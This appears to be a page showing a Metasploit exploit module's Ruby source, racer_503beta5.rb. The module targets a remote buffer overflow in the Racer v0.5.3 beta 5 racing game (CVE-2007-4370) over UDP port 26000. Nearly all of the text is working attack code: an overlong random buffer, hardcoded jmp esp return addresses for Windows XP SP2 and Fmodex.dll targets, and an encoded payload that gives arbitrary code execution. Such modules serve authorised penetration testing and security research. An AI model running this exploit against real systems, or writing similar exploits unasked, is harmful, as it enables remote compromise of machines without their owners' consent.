Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/games/racer_503beta5.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Udp910def initialize(info = {})11super(update_info(info,12'Name' => 'Racer v0.5.3 Beta 5 Buffer Overflow',13'Description' => %q{14This module exploits the Racer Car and Racing Simulator game15versions v0.5.3 beta 5 and earlier. Both the client and server listen16on UDP port 26000. By sending an overly long buffer we are able to17execute arbitrary code remotely.18},19'Author' => [ 'Trancek <trancek[at]yashira.org>' ],20'License' => MSF_LICENSE,21'References' =>22[23[ 'CVE', '2007-4370' ],24[ 'OSVDB', '39601' ],25[ 'EDB', '4283' ],26[ 'BID', '25297' ],27],28'Payload' =>29{30'Space' => 1000,31'BadChars' => "\x5c\x00",32'EncoderType' => Msf::Encoder::Type::AlphanumUpper,33},34'DefaultOptions' =>35{36'AllowWin32SEH' => true37},38'Platform' => 'win',39'Targets' =>40[41# Tested ok aushack 2009050342[ 'Fmodex.dll - Universal', { 'Ret' => 0x10073FB7 } ], # jmp esp43[ 'Win XP SP2 English', { 'Ret' => 0x77d8af0a } ],44[ 'Win XP SP2 Spanish', { 'Ret' => 0x7c951eed } ],45],46'DisclosureDate' => '2008-08-10',47'DefaultTarget' => 0))4849register_options(50[51Opt::RPORT(26000)52])53end5455def exploit56connect_udp5758buf = Rex::Text.rand_text_alphanumeric(1001)59buf << [target.ret].pack('V')60buf << payload.encoded61buf << Rex::Text.rand_text_alphanumeric(1196 - payload.encoded.length)6263udp_sock.put(buf)6465handler66disconnect_udp67end68end697071